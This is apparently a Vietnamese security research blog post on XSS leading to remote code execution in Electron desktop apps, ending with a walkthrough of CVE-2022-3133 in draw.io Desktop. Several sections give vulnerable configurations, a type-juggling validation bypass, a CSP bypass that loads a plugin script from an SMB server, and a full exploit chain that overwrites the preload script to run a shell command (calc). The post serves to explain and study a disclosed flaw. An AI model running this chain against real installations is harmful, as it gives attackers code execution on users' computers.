#Tản mạn
Dạo gần đây cũng không có viết bài nào mới, cũng nhân dịp này mình có nghiên cứu về cái Draw.io này và cũng may mắn tìm ra được vài bug XSS trên sản phẩm này nhưng không thể nâng impact lên RCE trên desktop app 😢.
Bởi vì, trong quá khứ có nhiều researcher đã nâng từ XSS lên RCE trên sản phẩm này rồi nên nay mình quyết định phân tích lại bug này và đồng thời cũng là dịp mình tìm hiểu về bug XSS trên các ứng dụng desktop app này.
#Mở đầu
Draw.io (diagrams.net) là một phần mềm vẽ biểu đồ đa nền tảng miễn phí và mã nguồn mở được phát triển bằng HTML5 và JavaScript. Giao diện của nó có thể được sử dụng để tạo các sơ đồ như lưu đồ, khung dây, sơ đồ UML, sơ đồ tổ chức và sơ đồ mạng (Theo Wikipedia). Còn Draw.io Desktop là ứng dụng dành cho desktop dựa trên Electron và core là draw.io.
Electron là khung phần mềm mã nguồn mở và được xây dựng dựa trên Chromium nhưng nó không phải là một browser như chúng ta biết. Một cách hiểu đơn giản là xem Electron như là một ứng dụng bao gồm cả front-end và back-end, trong đó front-end là Chromium có nhiệm vụ render web content và back-end là phần xử lý dựa trên NodeJS.
Electron thông thường có 2 loại process:
- Main process: hoạt động như một application entry point, hoàn được truy cập và xử lý bởi NodeJS.
- Renderer process: cũng như tên gọi của nó, process này chịu trách nhiệm cho việc render nội dung của trang web (như HTML, CSS, Javascript) mà người dùng có thể thấy và tương tác được.
Thông thường các renderer process được cấu hình bên trong main process nằm ở các file javascript xử lý chính, trong các options này sẽ có các option dùng để phòng chống việc người dùng có thể gọi trực tiếp các NodeJS APIs nếu được cấu hình đúng (Project mẫu có thể download tại đây).
Vì renderer process chịu trách nhiệm parse code HTML nên không thể tránh khỏi việc bị dính lỗ hổng XSS, nên tiếp theo cùng tìm hiểu là XSS trên desktop app thì như thế nào!!!
#XSS trên Electron Desktop App
Như đã biết thì Cross-site Scripting là lỗ hổng cho phép kẻ tấn công có thể thực thi tùy ý mã javascript trên browser của người dùng nhưng đối với Desktop App chạy trên Electron thì có thể dẫn đến gọi các NodeJS APIs và có thể thực thi mã từ xa (RCE)
Mục đích chính của main process là tạo và quản lý các application windows với BrowserWindow module. Một ví dụ một ứng dụng như sau:
// main.js
const { app, BrowserWindow, ipcMain } = require('electron')
const path = require('path')
function createWindow () {
const mainWindow = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
nodeIntegration: true,
contextIsolation: false,
sandbox: false
}
})
// ...
Giải thích một số options quan trọng:
preload: là một script sẽ thực thi trong một renderer process trước khi thực hiện load web content, mặc dù script này được chạy trong một renderer context nhưng có full quyền truy cập vào các NodeJS APIs.nodeIntegration: option này được bật có nghĩa là renderer process có thể truy cập trực tiếp và gọi các NodeJS APIs, nếu XSS xảy ra thì có thể chạy được mã NodeJS trực tiếp.contextIsolation: option này được dùng để tách (hay cô lập) giữa preload scripts và NodeJS APIs context với webContents context. Ví dụ, nếu như trongpreloadscriptset window.a = 1thì khi truy cập vàowindow.aở phía webContents sẽ làundefined.sandbox: nếu option này được bật thì renderer chỉ có thể thực hiện một số hành động được IPC cấp.
#Case 1: XSS + nodeIntegration
Như đã nói ban đầu, nếu option nodeIntegration được bật thì renderer process có thể gọi trực tiếp NodeJS APIs, hay nói cách khác từ trên giao diện devtool web ta có thể thực thi trực tiếp code NodeJS dẫn đến RCE.
Vuln code:
// main.js
const { app, BrowserWindow, ipcMain } = require('electron')
const path = require('path')
function createWindow () {
const mainWindow = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
sandbox: false
}
})
// ...

#Case 2: Preload + contextIsolation
Giả sử trong trường hợp này, ở preload script có định nghĩa một function cho phép thực thi command tùy ý, nhưng vì lý do option contextIsolation được set là false nên dẫn đến main process và renderer process có chung context hay nói cách khác là cả 2 phía sẽ dùng chung một global window object, nghĩa là từ phía renderer process có thể gọi trực tiếp đến function này ở phía main process.
Vuln code:
//main.js
const { app, BrowserWindow, ipcMain } = require('electron')
const path = require('path')
function createWindow () {
const mainWindow = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: false,
sandbox: false
}
})
// ...
// preload.js
window.exec = (cmd) => {
require('child_process').exec(cmd)
}

Cách để ngăn chặn cuộc tấn công này chỉ đơn giản là set contextIsolation = true và đồng thời contextBridge module được sinh ra để expose các APIs từ preload script một cách an toàn cho render process sử dụng khi context giữa main process và renderer process bị cô lập hoàn toàn. Các APIs expose này được truy cập thông qua window object, mục đích của việc này là chỉ expose những chức năng cần thiết chứ không expose cả một window object ra cho renderer :v.
Ví dụ:
// preload.js
// preload with contextIsolation enabled
const { contextBridge } = require('electron')
contextBridge.exposeInMainWorld('myAPI', {
doAThing: () => {}
})
// renderer.js
// use the exposed API in the renderer
window.myAPI.doAThing()
#Case 3: RCE thông qua IPC
IPC (Inter-process communication) là một phần khá quan trọng trên ứng dụng Electron vì nó chịu trách nhiệm cho việc liên kết (kết nối) thực hiện các tác vụ giữa main process và renderer process như gọi các native API từ UI.
Electron cung cấp 2 lại IPC là IPC Main và IPC Renderer
- IPC Main cho phép main process giao tiếp với renderer process để thực hiện một số hoạt động hệ thống như quản lý cửa sổ ứng dụng, tạo quy trình mới hay giọ các module NodeJS. Để sử dụng IPC Main có thể gọi
ipcMainmodule này để thực hiện lắng nghe cũng như gửi message đến renderer process. Ví dụ:
// Main process
const { app, BrowserWindow, ipcMain } = require('electron');
app.on('ready', () => {
const mainWindow = new BrowserWindow();
mainWindow.loadURL('https://example.com');
ipcMain.on('message-from-renderer', (event, arg) => {
console.log(arg); // Log message from renderer process
event.sender.send('message-to-renderer', 'Hello from main process!');
});
});
- IPC Renderer cho phép renderer process giao tiếp với main process, để sử dụng IPC Renderer có thể sử dụng
ipcRenderermodule để được cung cấp một số giao thức gửi và lắng nghe thông điệp đến từ main process. Ví dụ:
// Renderer process
const { ipcRenderer } = require('electron');
ipcRenderer.send('message-from-renderer', 'Hello from renderer process!');
ipcRenderer.on('message-to-renderer', (event, arg) => {
console.log(arg); // Log message from main process
});
Một ví dụ về trường hợp sử dụng IPC một cách không an toàn:
// main.js
const { app, BrowserWindow, ipcMain, shell } = require('electron')
const path = require('path')
function createWindow () {
const mainWindow = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: true,
sandbox: false
}
})
ipcMain.on('openURL', (event, url) => {
shell.openExternal(url)
})
// ...
// preload.js
const { contextBridge, ipcRenderer } = require('electron')
contextBridge.exposeInMainWorld('electronAPI', {
openURL: (url) => ipcRenderer.send('openURL', url)
})
một số điểm cần hiểu rõ ở những đoạn code trên như sau:
contextIsolation = true- IPC Main sẽ lắng nghe event “openURL”, sau đó thực thi
shell.openExternalvới tham sốurlđược truyền vào => Đây cũng là sink của lỗ hổng, hàm này cho phép mở mọt URL hoặc tệp tin bên ngoài Electron dẫn đến RCE. - Ở
preload scriptexposeelectronAPIra bên ngoài cho renderer có thể gọi hàmopenURL, sau đóipcRenderersẽ gửi message đếnipcMainởopenURLchannel mà IPC Maind đang lắng nghe.
Vì thế, ở đây ta sẽ dùng file protocol để gọi đến tệp tin hay chương trình bên ngoài (có thể là virus hoặc backdoor) để chiếm quyền điều khiển hệ thống.

Đó là cơ bản về một số lỗ hổng trên ứng dụng được tạo nên từ Electron, tiếp theo sẽ vào vấn đề chính, sẽ nói về bug trên app Draw.io
#CVE-2022-3133
Lỗ hổng này được report và public trên huntr.dev bởi researcher mizu, cụ thể là lạm dụng lổ hổng XSS để thực hiện chức năng writeFile ở IPC Main để override tệp preload script để có thể thực thi mã từ xa (RCE).
#Abuse of ipcMain to override preload script
Ở file electron.js, ipcMain được định nghĩa lắng nghe sự kiện rendererReq và bao gồm nhiều action
// ...
ipcMain.on("rendererReq", async (event, args) =>
{
try
{
let ret = null;
switch(args.action)
{
// ...
case 'writeFile':
ret = await writeFile(args.path, args.data, args.enc);
break;
// ...
trong đó đáng chú ý là writeFile action nhận vào tham số là path, data, enc. Đồng thời, ở electron-preloads.js expose API electron cho phép gọi rendererReq channel từ renderer process như sau
// ...
contextBridge.exposeInMainWorld(
'electron', {
request: (msg, callback, error) =>
{
msg.reqId = reqId++;
reqInfo[msg.reqId] = {callback: callback, error: error};
//TODO Maybe a special function for this better than this hack?
//File watch special case where the callback is called multiple times
if (msg.action == 'watchFile')
{
fileChangedListeners[msg.path] = msg.listener;
delete msg.listener;
}
ipcRenderer.send('rendererReq', msg);
},
// ...
=> Ý tưởng ở đây sẽ là lạm dụng chức năng writeFile này để ghi đè thay đổi nội dung của electron-preload.js để trực tiếp thực thi mã NodeJS.
#Type juggling bypass checkFileContent
Hàm writeFile được định nghĩa như sau:
// ...
async function writeFile(path, data, enc)
{
if (!checkFileContent(data, enc))
{
throw new Error('Invalid file data');
}
else
{
return await fsProm.writeFile(path, data, enc);
}
};
// ...
trong đó, hàm checkFileContent kiểm tra content type từ dữ liệu đưa vào, mục tiêu của chúng ta là phải chèn nội dung javascript hợp lệ vào electron-preload.js.
// ...
function checkFileContent(body, enc)
{
if (body != null)
{
let head, headBinay;
if (typeof body === 'string')
{
if (enc == 'base64')
{
headBinay = Buffer.from(body.substring(0, 22), 'base64');
head = headBinay.toString();
}
else
{
head = body.substring(0, 16);
headBinay = Buffer.from(head);
}
}
// ...
let c1 = head[0],
c2 = head[1],
c3 = head[2],
c4 = head[3],
...
if (c1 == '<')
{
// text/html
if (c2 == '!'
// ...
// application/xml
if (c2 == '?' && c3 == 'x' && c4 == 'm' && c5 == 'l'
&& c6 == ' ')
{
// ...
Ở đây ta có thể thấy rằng dữ liệu mong muốn từ đầu vào là các file định dạng như text/html, application/xml, application/pdf, image/*. Nghĩa là những bytes đầu tiên của các định dạng này thường bắt đầu bằng những ký tự đặc biệt, vì lý do này nên sẽ gây ra lỗi syntax khi viết vào một file javascript.
Một điều nữa là chỉ lấy 16 bytes header từ input để validate nếu không phải là dạng base64, còn nếu là base64 thì lấy 22 ký tự đầu để đem đi decode và tiếp theo là đem đi check.
Mục tiêu của chúng ta đơn giản chỉ là làm cho hàm này trả về true là được, sau đó dữ liệu sẽ được đưa vào fsProm.writeFile để ghi xuống tệp. Vậy bug ở đây là gì???
// ...
function checkFileContent(body, enc)
{
if (body != null)
{
let head, headBinay;
if (typeof body === 'string')
{
if (enc == 'base64')
// ...
// ...
Lỗ hổng type juggling xuất hiện ở enc == 'base64', bởi vì:
“base64” == “base64”
true
[“base64”] == “base64”
true
Vậy nếu ta truyền vào tham số enc = ["base64"] thì sẽ có ý nghĩa gì??? Mọi thứ đều có lý do của nó =)))

Vì hàm fs.writeFile nhận vào tham số option là string hoặc object, nếu option encoding = "base64" thì input sẽ decode base64 rồi mới được ghi xuống file, còn nếu encoding = ["base64"] thì dữ liệu sẽ không cần decode vì default = utf-8 mà ghi thẳng xuống file.
const fsProm = require('fs/promises');
fsProm.writeFile("/tmp/output", "PGh0bWwxMzMzMzMzMzMzMzM=", "base64")
// Output: <html133333333333
const fsProm = require('fs/promises');
fsProm.writeFile("/tmp/output", "PGh0bWwxMzMzMzMzMzMzMzM=", ["base64"])
// Output: PGh0bWwxMzMzMzMzMzMzMzM=
Như vậy là đã rõ, nếu ta truyền vào data là chuỗi bắt đầu bằng <html dạng base64 ở 22 ký tự đầu với enc = ["base64"] thì khi validate sẽ bị base64 decode nhưng đến hàm fsProm.write sẽ khi trực tiếp chuỗi base64 xuống file và có thể control được code ở phía sau.
PGh0bWxhYWFhYWFhYWFhYWE=1337;require('child_process').exec('calc');//
#Find the webroot
May mắn là rendererReq channel ở ipcMain có getCurDir action, action này sẽ thực thi hàm getCurDir và trả về đường dẫn hiện tại => Đường dẫn này cũng là nơi chứa electron-preload.js
// ...
ipcMain.on("rendererReq", async (event, args) =>
{
try
{
let ret = null;
switch(args.action)
{
// ...
case 'getCurDir':
ret = await getCurDir();
break;
}
// ...
#Look for XSS vulnerabilities
Theo như document thì các plugin có thể được load thông qua việc cấu hình một danh sách các tên plugin trên UI.
Chẳng hạn như ta cấu hình như thế này:

thì plugin voice sẽ được load

Vì lý do bị hạn chế bởi CSP nên ta không thể load bất kỳ extension nào khác tùy ý
default-src 'self'; connect-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com; img-src * data:; media-src *; font-src *; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com
nên các script chỉ có thể được load từ self nhưng ta có thể hoàn toàn bypass được CSP này thông qua load một script từ SMB server, vấn đề này đã được nói rõ từ bản report https://huntr.dev/bounties/911a4ada-7fd6-467a-a464-b88604b16ffc/
{
"plugins": [
"\\\\10.69.157.158\\js-server\\exploit.js"
]
}
#Exploit
Chain mọi thứ lại thì ý tưởng khai thác là lạm dụng lỗ hổng XSS thông qua tamper configure load malicous script từ SMB server để gọi các APIs từ renderer process, thực hiện lần lượt các action getCurDir, writeFile để ghi đè electron-preload.script. Sau đó, thực hiện electron.sendMessage('newfile') để tạo ra một renderer process mới, đồng thời để electron-preload.js mới được load và RCE.
electron.request({
action: "getCurDir"
}, (d) => {
electron.request({
action: "writeFile",
path: `${d}/electron-preload.js`,
data: "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;require('child_process').exec('calc');//",
enc: ["base64"]
}, (res) => {
electron.sendMessage('newfile', {width: 100, height: 100 });
})
})